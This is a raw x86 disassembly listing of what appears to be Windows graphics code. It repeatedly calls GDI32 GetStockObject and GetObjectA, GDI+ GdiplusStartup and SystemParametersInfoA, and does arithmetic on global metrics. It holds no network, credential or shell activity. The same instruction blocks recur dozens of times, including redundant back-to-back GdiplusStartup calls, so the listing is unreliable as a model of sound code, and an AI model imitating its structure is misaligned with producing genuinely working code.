push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15b5f
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15b5f
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf15bb2
mov eax, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15c15
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15c15
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf15c4a
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15ccb
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15ccb
mov dword [0x5cf2aaf8], ebx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15d10
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15d10
mov dword [0x5cf2aaf8], ebx
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
mov ecx, dword [0x5cf2ab00]
jne 0x5cf15d5e
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
mov ecx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
lea edx, [eax + ecx]
imul ecx, dword [0x5cf2aaf4]
cmp ecx, edx
mov dword [ebp + 0x14], edx
mov dword [ebp + 0x18], ecx
jne 0x5cf15d97
mov ecx, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
mov ecx, dword [ebp + 0x18]
cmp ecx, dword [ebp + 0x14]
jne 0x5cf15db9
mov ecx, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15e3a
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15e3a
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf15e8d
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15ed2
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15ed2
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15f53
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15f53
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf15fd4
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf15fd4
mov dword [0x5cf2aaf8], ebx
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
jne 0x5cf1601c
mov ecx, dword [0x5cf2ab00]
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf1606f
mov eax, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf160b4
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf160b4
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf160e9
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf1613c
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf161db
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf161db
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf16210
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf16281
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf162e4
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf162e4
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov edx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
lea ecx, [eax + edx]
mov eax, edx
imul eax, dword [0x5cf2aaf4]
cmp eax, ecx
mov dword [ebp + 0x14], ecx
mov dword [ebp + 0x18], eax
jne 0x5cf16346
mov ecx, dword [ebp + 0x40]
movzx eax, word [ebp + 0x40]
add ecx, 4
imul ecx, eax
imul ecx, dword [0x5cf2ab0c]
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
jmp 0x5cf1634c
mov ecx, dword [0x5cf2aaf8]
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
jne 0x5cf16394
movzx eax, word [ebp + 0x40]
add eax, edx
lea esi, [edx + 4]
cdq
idiv esi
mov esi, dword [0x5cf2ab0c]
imul esi, dword [0x5cf2ab00]
sub esi, eax
movzx eax, byte [0x5cf2ab04]
imul eax, ecx
cdq
idiv dword [0x5cf2ab0c]
mov ecx, dword [0x5cf2aaf8]
sub esi, eax
add dword [ebp + 0x3c], esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov eax, dword [ebp + 0x18]
cmp eax, dword [ebp + 0x14]
jne 0x5cf163b8
mov eax, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add eax, 4
imul eax, edx
imul eax, dword [0x5cf2ab0c]
imul eax, ecx
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf163fd
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf163fd
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf16450
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf16495
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf16495
mov dword [0x5cf2aaf8], ebx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf164da
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf164da
mov dword [0x5cf2aaf8], ebx
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
jne 0x5cf16522
mov ecx, dword [0x5cf2ab00]
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf16567
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf16567
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf1659c
mov eax, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf165e1
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf165e1
mov dword [0x5cf2aaf8], ebx
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
jne 0x5cf16629
mov ecx, dword [0x5cf2ab00]
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov edx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
lea ecx, [eax + edx]
mov eax, edx
imul eax, dword [0x5cf2aaf4]
cmp eax, ecx
mov dword [ebp + 0x14], ecx
mov dword [ebp + 0x18], eax
jne 0x5cf1668b
mov ecx, dword [ebp + 0x28]
movzx eax, word [ebp + 0x3c]
add ecx, 4
imul ecx, eax
imul ecx, dword [0x5cf2ab0c]
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
jmp 0x5cf16691
mov ecx, dword [0x5cf2aaf8]
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
jne 0x5cf166d9
movzx eax, word [ebp + 0x40]
add eax, edx
lea esi, [edx + 4]
cdq
idiv esi
mov esi, dword [0x5cf2ab0c]
imul esi, dword [0x5cf2ab00]
sub esi, eax
movzx eax, byte [0x5cf2ab04]
imul eax, ecx
cdq
idiv dword [0x5cf2ab0c]
mov ecx, dword [0x5cf2aaf8]
sub esi, eax
add dword [ebp + 0x3c], esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov eax, dword [ebp + 0x18]
cmp eax, dword [ebp + 0x14]
jne 0x5cf166fd
mov eax, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add eax, 4
imul eax, edx
imul eax, dword [0x5cf2ab0c]
imul eax, ecx
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf16760
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf16760
mov dword [0x5cf2aaf8], ebx
mov eax, dword [ebp + 0x28]
cmp eax, dword [0x5cf2ab08]
mov ecx, dword [0x5cf2ab00]
jne 0x5cf167ae
movzx eax, word [ebp + 0x40]
add eax, ecx
cdq
lea esi, [ecx + 4]
idiv esi
mov esi, dword [0x5cf2ab0c]
mov edx, esi
imul edx, ecx
sub edx, eax
movzx eax, byte [0x5cf2ab04]
imul eax, dword [0x5cf2aaf8]
mov ecx, edx
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
sub ecx, eax
add dword [ebp + 0x3c], ecx
mov ecx, dword [0x5cf2ab00]
mov eax, dword [0x5cf2ab0c]
lea edx, [eax + ecx]
imul ecx, dword [0x5cf2aaf4]
cmp ecx, edx
jne 0x5cf167de
mov ecx, dword [ebp + 0x28]
movzx edx, word [ebp + 0x3c]
add ecx, 4
imul ecx, edx
imul ecx, eax
imul ecx, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], ecx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x28]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x3c]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf1687d
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf1687d
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf168b2